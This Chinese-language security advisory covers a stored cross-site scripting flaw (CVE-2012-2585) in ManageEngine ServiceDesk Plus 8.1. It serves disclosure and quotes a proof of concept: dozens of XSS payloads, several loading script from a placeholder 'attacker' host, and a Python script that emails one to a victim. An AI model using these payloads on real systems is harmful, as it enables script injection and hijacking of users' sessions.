发布日期:2012-08-09
更新日期:2012-08-12受影响系统:
ManageEngine ServiceDesk Plus 8.x
描述:
--------------------------------------------------------------------------------
CVE ID: CVE-2012-2585ManageEngine Service Desk Plus是可定制的帮助桌面软件。ManageEngine Service Desk Plus 8.1及其他版本没有正确过滤邮件体即用在请求中,可被利用插入任意HTML和脚本代码,被查看后即在受影响站点的用户浏览器会话中执行。<*来源:loneferret
链接:http://secunia.com/advisories/50198/
http://www.exploit-db.com/exploits/20356/
*>测试方法:
--------------------------------------------------------------------------------警 告以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!loneferret ()提供了如下测试方法:
#!/usr/bin/python"""
Author: loneferret of Offensive Security
Product: ManageEngine Service Desk Plus (Windows standard)
Version: 8.1
Vendor Site: http://www.manageengine.com
Software Download: http://www.manageengine.com/products/service-desk/download.htmlTimeline:
29 May 2012: Vulnerability reported to CERT
30 May 2012: Response received from CERT with disclosure date set to 20 Jul 2012
27 Jul 2012: Vendor requested additional information
30 Jul 2012: Additional proofs of concept provided to vendor
03 Aug 2012: Vendor acknowledged receipt of PoC and declares intent to fix
08 Aug 2012: Public DisclosureInstalled On: Windows Server 2003 SP2
Client Test OS: Window 7 Pro SP1 (x86)
Browser Used: Internet Explorer 9
Injection Point: Body
Injection Payload(s):
1: ";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">"><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>=&{}
2: <SCRIPT>alert("XSS")</SCRIPT>
3: <SCRIPT SRC=http://attacker/xss.js></SCRIPT>
4: <IFRAME SRC="javascript:alert("XSS");"></IFRAME>
5: exp/*<XSS STYLE="noxss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))">
6: <IMG STYLE="xss:expr/*XSS*/ession(alert("XSS"))">
7: <XSS STYLE="xss:expression(alert("XSS"))">
8: <SCRIPT SRC="http://attacker/xss.jpg"></SCRIPT>
9: </TITLE><SCRIPT>alert("XSS");</SCRIPT>
10: <SCRIPT/XSS SRC="http://attacker/xss.js"></SCRIPT>
11: <SCRIPT SRC=//attacker/.j>
12: <<SCRIPT>alert("XSS");//<</SCRIPT>
13: <IMG """><SCRIPT>alert("XSS")</SCRIPT>">
14: <SCRIPT a=">" SRC="http://attacker/xss.js"></SCRIPT>
15: <SCRIPT ="blah" SRC="http://attacker/xss.js"></SCRIPT>
16: <SCRIPT a="blah" "" SRC="http://attacker/xss.js"></SCRIPT>
17: <SCRIPT "a=">"" SRC="http://attacker/xss.js"></SCRIPT>
18: <SCRIPT a=`>` SRC="http://attacker/xss.js"></SCRIPT>
19: <SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://attacker/xss.js"></SCRIPT>
20: <SCRIPT a=">">" SRC="http://attacker/xss.js"></SCRIPT>Injection Point: Subject
Injection Payload(s):
1: <SCRIPT>alert("XSS")</SCRIPT>
2: <SCRIPT SRC=http://attacker/xss.js></SCRIPT>
3: <SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
4: <DIV STYLE="width: expression(alert("XSS"));">
5: <IFRAME SRC="javascript:alert("XSS");"></IFRAME>
6: <META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">
7: <META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert("XSS");">
8: <IMG STYLE="xss:expr/*XSS*/ession(alert("XSS"))">
9: <XSS STYLE="xss:expression(alert("XSS"))">
10: <SCRIPT SRC="http://attacker/xss.jpg"></SCRIPT>
11: </TITLE><SCRIPT>alert("XSS");</SCRIPT>
12: <SCRIPT/XSS SRC="http://attacker/xss.js"></SCRIPT>
13: <SCRIPT SRC=http://attacker/xss.js
14: <SCRIPT SRC=//attacker/.j>
15: <IFRAME SRC=http://attacker/scriptlet.html <
16: <<SCRIPT>alert("XSS");//<</SCRIPT>
17: <IMG """><SCRIPT>alert("XSS")</SCRIPT>">
18: <SCRIPT a=">" SRC="http://attacker/xss.js"></SCRIPT>
19: <SCRIPT ="blah" SRC="http://attacker/xss.js"></SCRIPT>
20: <SCRIPT a="blah" "" SRC="http://attacker/xss.js"></SCRIPT>
21: <SCRIPT "a=">"" SRC="http://attacker/xss.js"></SCRIPT>
22: <SCRIPT a=`>` SRC="http://attacker/xss.js"></SCRIPT>
23: <SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://attacker/xss.js"></SCRIPT>
24: <SCRIPT a=">">" SRC="http://attacker/xss.js"></SCRIPT>"""import smtplib, urllib2payload = """</TITLE><SCRIPT>alert("XSS");</SCRIPT>"""def sendMail(dstemail, frmemail, smtpsrv, username, password):
msg = "From: hacker@offsec.local
"
msg += "To: victim@victim.local
"
msg += "Date: Today
"
msg += "Subject: XSS" + payload + "
"
msg += "Content-type: text/html
"
msg += "XSS.
"
server = smtplib.SMTP(smtpsrv)
server.login(username,password)
try:
server.sendmail(frmemail, dstemail, msg)
except Exception, e:
print "[-] Failed to send email:"
print "[*] " + str(e)
server.quit()username = "hacker@offsec.local"
password = "123456"
dstemail = "victim@victim.local"
frmemail = "hacker@offsec.local"
smtpsrv = "172.16.84.171"print "[*] Sending Email"
sendMail(dstemail, frmemail, smtpsrv, username, password)建议:
--------------------------------------------------------------------------------
厂商补丁:ManageEngine
------------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:http://www.manageengine.com/products/opmanager/index.htmlXen拒绝服务漏洞WordPress SimpleMail Plugin Email字段脚本插入漏洞相关资讯 电子邮件体脚本插入漏洞 本文评论 查看全部评论 (0)
评论声明尊重网上道德,遵守中华人民共和国的各项有关法律法规 承担一切因您的行为而直接或间接导致的民事或刑事法律责任 本站管理人员有权保留或删除其管辖留言中的任意
收藏该网址